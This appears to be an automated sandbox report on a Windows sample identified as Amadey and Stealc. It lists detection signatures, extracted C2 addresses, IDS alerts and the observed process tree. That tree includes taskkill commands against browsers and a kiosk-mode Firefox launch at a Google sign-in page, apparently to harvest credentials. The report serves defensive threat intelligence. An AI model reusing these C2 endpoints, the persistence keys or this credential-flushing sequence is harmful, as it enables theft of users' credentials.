Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554128
MD5:	b58725b0a514974aae36a20730adc4b3
SHA1:	a99eb4395fc9a95cad952a7d4bd444fb3baa9103
SHA256:	a64238bb65c406ec9ef9267f96de8b2ff4a2dc1998859970f2b7399aed50db76
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Excessive usage of taskkill to terminate processes

Found API chain indicative of sandbox detection

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

file.exe (PID: 1288 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B58725B0A514974AAE36A20730ADC4B3)

axplong.exe (PID: 1216 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: B58725B0A514974AAE36A20730ADC4B3)

axplong.exe (PID: 6424 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B58725B0A514974AAE36A20730ADC4B3)

axplong.exe (PID: 3920 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B58725B0A514974AAE36A20730ADC4B3)

63371c25d6.exe (PID: 1992 cmdline: "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

b29e59e54d.exe (PID: 2940 cmdline: "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe" MD5: 530C8D510535E62FD422303538B7DCF4)

taskkill.exe (PID: 6004 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7060 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3568 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3788 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6324 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6132 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3184 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2296 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2068 -prefMapHandle 2060 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ca6a3ee-eee5-454e-b34c-b7afc720e16b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2592836c110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3500 -parentBuildID 20230927232528 -prefsHandle 3680 -prefMapHandle 2940 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a965bc52-189f-476e-bd3c-458acd57178b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2593fe48210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

63371c25d6.exe (PID: 2460 cmdline: "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

b29e59e54d.exe (PID: 6976 cmdline: "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe" MD5: 530C8D510535E62FD422303538B7DCF4)

taskkill.exe (PID: 4396 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6620 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7064 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7140 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1448 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 932 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1648 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2220 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eee284a6-6c71-4aba-bd4c-f339d0acf602} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" 1ef1df6db10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

63371c25d6.exe (PID: 5636 cmdline: "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe" MD5: 59B3273D9D5C8F80B5CFE9E160188073)

b29e59e54d.exe (PID: 4996 cmdline: "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe" MD5: 530C8D510535E62FD422303538B7DCF4)

taskkill.exe (PID: 1100 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5160 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1448 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6680 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5740 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6968 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6848 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4212 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2060 -prefsLen 25350 -prefMapSize 237931 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1812166d-c4fd-4c53-a2fb-652daad10071} 6848 "\\.\pipe\gecko-crash-server-pipe.6848" 21a4db6e510 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000003.2634377823.00000000051B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.2679501298.0000000005070000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2788035589.0000000005070000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2828445859.00000000006C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2072225020.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2065985660.0000000004940000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.2949800933.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2038538990.0000000005300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.2112575730.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2737464357.00000000006C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3011470230.00000000006C1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2106923649.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2078807480.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 63371c25d6.exe PID: 1992	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 63371c25d6.exe PID: 1992	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b29e59e54d.exe PID: 2940	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 63371c25d6.exe PID: 2460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 63371c25d6.exe PID: 2460	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b29e59e54d.exe PID: 6976	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 63371c25d6.exe PID: 5636	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 63371c25d6.exe PID: 5636	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.axplong.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.axplong.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.axplong.exe.9d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.fd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 3920, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\63371c25d6.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 3920, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\63371c25d6.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:02:20.879413+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49704	TCP
2024-11-12T05:02:58.869288+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	49908	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:03:07.436872+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49958	185.215.113.16	80	TCP
2024-11-12T05:03:10.747117+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49978	185.215.113.16	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:03:10.872214+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49974	185.215.113.206	80	TCP
2024-11-12T05:03:21.324855+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50008	185.215.113.206	80	TCP
2024-11-12T05:03:37.925328+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50027	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:03:03.866218+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49937	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:03:04.166930+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.5	49937	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T05:03:04.442956+0100	2803305	3	Unknown Traffic	192.168.2.5	49937	185.215.113.16	80	TCP
2024-11-12T05:03:07.914788+0100	2803305	3	Unknown Traffic	192.168.2.5	49958	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/Jo89Ku7d/index.phpvM	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/ows	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php1001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/Jo89Ku7d/index.php2001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/lfons	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000002.3281517208.00000000009D1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
Source: 63371c25d6.exe.1992.7.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/Jo89Ku7d/index.phpvM	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.16/ows	Virustotal: Detection: 14%	Perma Link
Source: http://185.215.113.16/Jo89Ku7d/index.php2001	Virustotal: Detection: 22%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 47%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50065 version: TLS 1.2

Source:

Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000027.00000002.3085467799.000001EF2EA3F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	8_2_0094DBBE
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0091C2A2 FindFirstFileExW,	8_2_0091C2A2
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009568EE FindFirstFileW,FindClose,	8_2_009568EE
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0095698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	8_2_0095698F
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_0094D076
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_0094D3A9
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00959642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00959642
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0095979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_0095979D
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00959B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	8_2_00959B2B
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00955C97 FindFirstFileW,FindNextFileW,FindClose,	8_2_00955C97

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49937 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.5:49937
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49958 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49978 -> 185.215.113.16:80
